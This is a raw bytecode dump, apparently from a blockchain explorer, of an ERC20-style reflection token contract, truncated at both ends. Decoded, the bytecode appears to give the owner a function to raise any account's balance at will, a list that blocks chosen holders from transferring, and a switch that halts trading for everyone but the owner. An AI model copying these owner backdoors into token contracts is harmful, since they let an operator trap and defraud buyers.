910390f35b61024a600480360381019061024591906120ca565b61079d565b6040516102579190612551565b60405180910390f35b61026861080b565b604051610275919061256c565b60405180910390f35b6102986004803603810190610293919061208a565b610822565b6040516102a59190612394565b60405180910390f35b6102c860048036038101906102c391906120f7565b6108d5565b6040516102d59190612551565b60405180910390f35b6102e661095e565b6040516102f39190612551565b60405180910390f35b61031660048036038101906103119190611fca565b610968565b005b610332600480360381019061032d9190611fca565b610b94565b60405161033f9190612551565b60405180910390f35b610362600480360381019061035d919061208a565b610bdd565b005b61036c610d0b565b60405161037991906123af565b60405180910390f35b61039c6004803603810190610397919061208a565b610d9d565b6040516103a99190612394565b60405180910390f35b6103cc60048036038101906103c7919061208a565b610e6a565b6040516103d99190612394565b60405180910390f35b6103fc60048036038101906103f79190611ff7565b610e88565b6040516104099190612551565b60405180910390f35b61041a610f0f565b005b61043660048036038101906104319190611fca565b610ffe565b6040516104439190612394565b60405180910390f35b60006104566110e8565b9050600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156104e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104dc90612531565b60405180910390fd5b60006104f0836110f0565b50505050905061054881600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461109e90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105a081600a5461109e90919063ffffffff16565b600a819055506105bb8360085461114890919063ffffffff16565b600881905550505050565b6060600d80546105d590612740565b80601f016020809104026020016040519081016040528092919081815260200182805461060190612740565b801561064e5780601f106106235761010080835404028352916020019161064e565b820191906000526020600020905b81548152906001019060200180831161063157829003601f168201915b5050505050905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061069261068b6110e8565b84846111a6565b6001905092915050565b600068a2a15d09519be00000905090565b60006106ba848484611371565b61077b846106c66110e8565b61077685604051806060016040528060288152602001612bef60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061072c6110e8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a759092919063ffffffff16565b6111a6565b600190509392505050565b6000600960009054906101000a900460ff16905090565b6000600a548211156107e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107db906123f1565b60405180910390fd5b60006107ee611ad9565b9050610803818461105490919063ffffffff16565b915050919050565b6000600f60009054906101000a900460ff16905090565b60006108cb61082f6110e8565b846108c685600460006108406110e8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461114890919063ffffffff16565b6111a6565b6001905092915050565b600068a2a15d09519be00000831115610923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091a90612451565b60405180910390fd5b81610942576000610933846110f0565b50505050905080915050610958565b600061094d846110f0565b505050915050809150505b92915050565b6000600854905090565b6109706110e8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f490612491565b60405180910390fd5b60011515600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610ab3576000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610b91565b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f1d2288ff481fd28dcc877dd640cc5729f3d0a091e9e2bfff38f6214c00e2ae5f81600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16604051610b8892919061236b565b60405180910390a15b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610be56110e8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6990612491565b60405180910390fd5b610cc481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461114890919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6060600e8054610d1a90612740565b80601f0160208091040260200160405190810160405280929190818152602001828054610d4690612740565b8015610d935780601f10610d6857610100808354040283529160200191610d93565b820191906000526020600020905b815481529060010190602001808311610d7657829003601f168201915b5050505050905090565b6000610e60610daa6110e8565b84610e5b85604051806060016040528060258152602001612c176025913960046000610dd46110e8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a759092919063ffffffff16565b6111a6565b6001905092915050565b6000610e7e610e776110e8565b8484611371565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f176110e8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9b90612491565b60405180910390fd5b60011515600960009054906101000a900460ff1615151415610fe0576000600960006101000a81548160ff021916908315150217905550610ffc565b6001600960006101000a81548160ff0219169083151502179055505b565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061109683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b04565b905092915050565b60006110e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a75565b905092915050565b600033905090565b600080600080600080600061110488611b67565b915091506000611112611ad9565b905060008060006111248c8686611bba565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b600080828461115791906125a3565b90508381101561119c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119390612431565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611216576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120d90612511565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127d90612411565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113649190612551565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d8906124d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611451576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611448906123d1565b60405180910390fd5b60008111611494576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148b906124b1565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115355750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561157e576000811461157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611574906124f1565b60405180910390fd5b5b60011515600960009054906101000a900460ff16151514806115d257506115a3611c18565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061160f57506115e0611c18565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611a1957600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156116b75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561186a5761172881604051806060016040528060268152602001612bc960269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a759092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117bd81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461114890919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161185d9190612551565b60405180910390a3611a14565b6118d681604051806060016040528060268152602001612bc960269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a759092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461114890919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a0b9190612551565b60405180910390a35b611a70565b60011515600960009054906101000a900460ff16151514611a6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a66906124f1565b60405180910390fd5b5b505050565b6000838311158290611abd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab491906123af565b60405180910390fd5b5060008385611acc9190612684565b9050809150509392505050565b6000806000611ae6611c41565b91509150611afd818361105490919063ffffffff16565b9250505090565b60008083118290611b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4291906123af565b60405180910390fd5b5060008385611b5a91906125f9565b9050809150509392505050565b6000806000611b946002611b866103e88761105490919063ffffffff16565b611f1090919063ffffffff16565b90506000611bab828661109e90919063ffffffff16565b90508082935093505050915091565b600080600080611bd38588611f1090919063ffffffff16565b90506000611bea8688611f1090919063ffffffff16565b90506000611c01828461109e90919063ffffffff16565b905082818395509550955050505093509350939050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600a549050600068a2a15d09519be00000905060005b600680549050811015611ec557826002600060068481548110611c8257611c81612848565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180611d705750816003600060068481548110611d0857611d07612848565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15611d8e57600a5468a2a15d09519be0000094509450505050611f0c565b611e1e6002600060068481548110611da957611da8612848565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461109e90919063ffffffff16565b9250611eb06003600060068481548110611e3b57611e3a612848565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361109e90919063ffffffff16565b91508080611ebd90612772565b915050611c5c565b50611ee468a2a15d09519be00000600a5461105490919063ffffffff16565b821015611f0357600a5468a2a15d09519be00000935093505050611f0c565b81819350935050505b9091565b600080831415611f235760009050611f85565b60008284611f31919061262a565b9050828482611f4091906125f9565b14611f80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7790612471565b60405180910390fd5b809150505b92915050565b600081359050611f9a81612b83565b92915050565b600081359050611faf81612b9a565b92915050565b600081359050611fc481612bb1565b92915050565b600060208284031215611fe057611fdf612877565b5b6000611fee84828501611f8b565b91505092915050565b6000806040838503121561200e5761200d612877565b5b600061201c85828601611f8b565b925050602061202d85828601611f8b565b9150509250929050565b6000806000606084860312156120505761204f612877565b5b600061205e86828701611f8b565b935050602061206f86828701611f8b565b925050604061208086828701611fb5565b9150509250925092565b600080604083850312156120a1576120a0612877565b5b60006120af85828601611f8b565b92505060206120c085828601611fb5565b9150509250929050565b6000602082840312156120e0576120df612877565b5b60006120ee84828501611fb5565b91505092915050565b6000806040838503121561210e5761210d612877565b5b600061211c85828601611fb5565b925050602061212d85828601611fa0565b9150509250929050565b612140816126b8565b82525050565b61214f816126ca565b82525050565b600061216082612587565b61216a8185612592565b935061217a81856020860161270d565b6121838161287c565b840191505092915050565b600061219b602383612592565b91506121a68261288d565b604082019050919050565b60006121be602a83612592565b91506121c9826128dc565b604082019050919050565b60006121e1602283612592565b91506121ec8261292b565b604082019050919050565b6000612204601b83612592565b915061220f8261297a565b602082019050919050565b6000612227601f83612592565b9150612232826129a3565b602082019050919050565b600061224a602183612592565b9150612255826129cc565b604082019050919050565b600061226d602083612592565b915061227882612a1b565b602082019050919050565b6000612290602983612592565b915061229b82612a44565b604082019050919050565b60006122b3602583612592565b91506122be82612a93565b604082019050919050565b60006122d6600083612592565b91506122e182612ae2565b600082019050919050565b60006122f9602483612592565b915061230482612ae5565b604082019050919050565b600061231c602c83612592565b915061232782612b34565b604082019050919050565b61233b816126f6565b82525050565b61234a81612700565b82525050565b60006020820190506123656000830184612137565b92915050565b60006040820190506123806000830185612137565b61238d6020830184612146565b9392505050565b60006020820190506123a96000830184612146565b92915050565b600060208201905081810360008301526123c98184612155565b905092915050565b600060208201905081810360008301526123ea8161218e565b9050919050565b6000602082019050818103600083015261240a816121b1565b9050919050565b6000602082019050818103600083015261242a816121d4565b9050919050565b6000602082019050818103600083015261244a816121f7565b9050919050565b6000602082019050818103600083015261246a8161221a565b9050919050565b6000602082019050818103600083015261248a8161223d565b9050919050565b600060208201905081810360008301526124aa81612260565b9050919050565b600060208201905081810360008301526124ca81612283565b9050919050565b600060208201905081810360008301526124ea816122a6565b9050919050565b6000602082019050818103600083015261250a816122c9565b9050919050565b6000602082019050818103600083015261252a816122ec565b9050919050565b6000602082019050818103600083015261254a8161230f565b9050919050565b60006020820190506125666000830184612332565b92915050565b60006020820190506125816000830184612341565b92915050565b600081519050919050565b600082825260208201905092915050565b60006125ae826126f6565b91506125b9836126f6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125ee576125ed6127bb565b5b828201905092915050565b6000612604826126f6565b915061260f836126f6565b92508261261f5761261e6127ea565b5b828204905092915050565b6000612635826126f6565b9150612640836126f6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612679576126786127bb565b5b828202905092915050565b600061268f826126f6565b915061269a836126f6565b9250828210156126ad576126ac6127bb565b5b828203905092915050565b60006126c3826126d6565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561272b578082015181840152602081019050612710565b8381111561273a576000848401525b50505050565b6000600282049050600182168061275857607f821691505b6020821081141561276c5761276b612819565b5b50919050565b600061277d826126f6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156127b0576127af6127bb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b612b8c816126b8565b8114612b9757600080fd5b50565b612ba3816126ca565b8114612bae57600080fd5b50565b612bba816126f6565b8114612bc557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d9b1cbb12b73f53ffe5a4f7540e83150e1baf2bdb453ad86eeeed93965e3aaca64736f6c634300080600330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101375760003560e01c80634549b039116100b857806395d89b411161007c57806395d89b4114610364578063a457c2d714610382578063a9059cbb146103b2578063dd62ed3e146103e2578063ebad8f1614610412578063ec778ce51461041c57610137565b80634549b039146102ae5780635ff1b181146102de5780636b8dc519146102fc57806370a08231146103185780637c72d25c1461034857610137565b806323b872dd116100ff57806323b872dd146101e25780632d3e69ea146102125780632d83811914610230578063313ce56714610260578063395093511461027e57610137565b8063053ab1821461013c57806306fdde0314610158578063081d2b3c14610176578063095ea7b31461019457806318160ddd146101c4575b600080fd5b610156600480360381019061015191906120ca565b61044c565b005b6101606105c6565b60405161016d91906123af565b60405180910390f35b61017e610658565b60405161018b9190612350565b60405180910390f35b6101ae60048036038101906101a9919061208a565b61067e565b6040516101bb9190612394565b60405180910390f35b6101cc61069c565b6040516101d99190612551565b60405180910390f35b6101fc60048036038101906101f79190612037565b6106ad565b6040516102099190612394565b60405180910390f35b61021a610786565b6040516102279190612394565b60405180910390f35b61024a600480360381019061024591906120ca565b61079d565b6040516102579190612551565b60405180910390f35b61026861080b565b604051610275919061256c565b60405180910390f35b6102986004803603810190610293919061208a565b610822565b6040516102a59190612394565b60405180910390f35b6102c860048036038101906102c391906120f7565b6108d5565b6040516102d59190612551565b60405180910390f35b6102e661095e565b6040516102f39190612551565b60405180910390f35b61031660048036038101906103119190611fca565b610968565b005b610332600480360381019061032d9190611fca565b610b94565b60405161033f9190612551565b60405180910390f35b610362600480360381019061035d919061208a565b610bdd565b005b61036c610d0b565b60405161037991906123af565b60405180910390f35b61039c6004803603810190610397919061208a565b610d9d565b6040516103a99190612394565b60405180910390f35b6103cc60048036038101906103c7919061208a565b610e6a565b6040516103d99190612394565b60405180910390f35b6103fc60048036038101906103f79190611ff7565b610e88565b6040516104099190612551565b60405180910390f35b61041a610f0f565b005b61043660048036038101906104319190611fca565b610ffe565b6040516104439190612394565b60405180910390f35b60006104566110e8565b9050600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156104e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104dc90612531565b60405180910390fd5b60006104f0836110f0565b50505050905061054881600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461109e90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105a081600a5461109e90919063ffffffff16565b600a819055506105bb8360085461114890919063ffffffff16565b600881905550505050565b6060600d80546105d590612740565b80601f016020809104026020016040519081016040528092919081815260200182805461060190612740565b801561064e5780601f106106235761010080835404028352916020019161064e565b820191906000526020600020905b81548152906001019060200180831161063157829003601f168201915b5050505050905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061069261068b6110e8565b84846111a6565b6001905092915050565b600068a2a15d09519be00000905090565b60006106ba848484611371565b61077b846106c66110e8565b61077685604051806060016040528060288152602001612bef60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061072c6110e8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a759092919063ffffffff16565b6111a6565b600190509392505050565b6000600960009054906101000a900460ff16905090565b6000600a548211156107e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107db906123f1565b60405180910390fd5b60006107ee611ad9565b9050610803818461105490919063ffffffff16565b915050919050565b6000600f60009054906101000a900460ff16905090565b60006108cb61082f6110e8565b846108c685600460006108406110e8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461114890919063ffffffff16565b6111a6565b6001905092915050565b600068a2a15d09519be00000831115610923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091a90612451565b60405180910390fd5b81610942576000610933846110f0565b50505050905080915050610958565b600061094d846110f0565b505050915050809150505b92915050565b6000600854905090565b6109706110e8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f490612491565b60405180910390fd5b60011515600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610ab3576000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610b91565b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f1d2288ff481fd28dcc877dd640cc5729f3d0a091e9e2bfff38f6214c00e2ae5f81600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16604051610b8892919061236b565b60405180910390a15b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610be56110e8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6990612491565b60405180910390fd5b610cc481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461114890919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6060600e8054610d1a90612740565b80601f0160208091040260200160405190810160405280929190818152602001828054610d4690612740565b8015610d935780601f10610d6857610100808354040283529160200191610d93565b820191906000526020600020905b815481529060010190602001808311610d7657829003601f168201915b5050505050905090565b6000610e60610daa6110e8565b84610e5b85604051806060016040528060258152602001612c176025913960046000610dd46110e8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a759092919063ffffffff16565b6111a6565b6001905092915050565b6000610e7e610e776110e8565b8484611371565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f176110e8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9b90612491565b60405180910390fd5b60011515600960009054906101000a900460ff1615151415610fe0576000600960006101000a81548160ff021916908315150217905550610ffc565b6001600960006101000a81548160ff0219169083151502179055505b565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061109683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b04565b905092915050565b60006110e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a75565b905092915050565b600033905090565b600080600080600080600061110488611b67565b915091506000611112611ad9565b905060008060006111248c8686611bba565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b600080828461115791906125a3565b90508381101561119c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119390612431565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611216576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120d90612511565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127d90612411565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113649190612551565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d8906124d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611451576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611448906123d1565b60405180910390fd5b60008111611494576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148b906124b1565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115355750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561157e576000811461157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611574906124f1565b60405180910390fd5b5b60011515600960009054906101000a900460ff16151514806115d257506115a3611c18565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061160f57506115e0611c18565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611a1957600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156116b75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561186a5761172881604051806060016040528060268152602001612bc960269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a759092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117bd81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611148909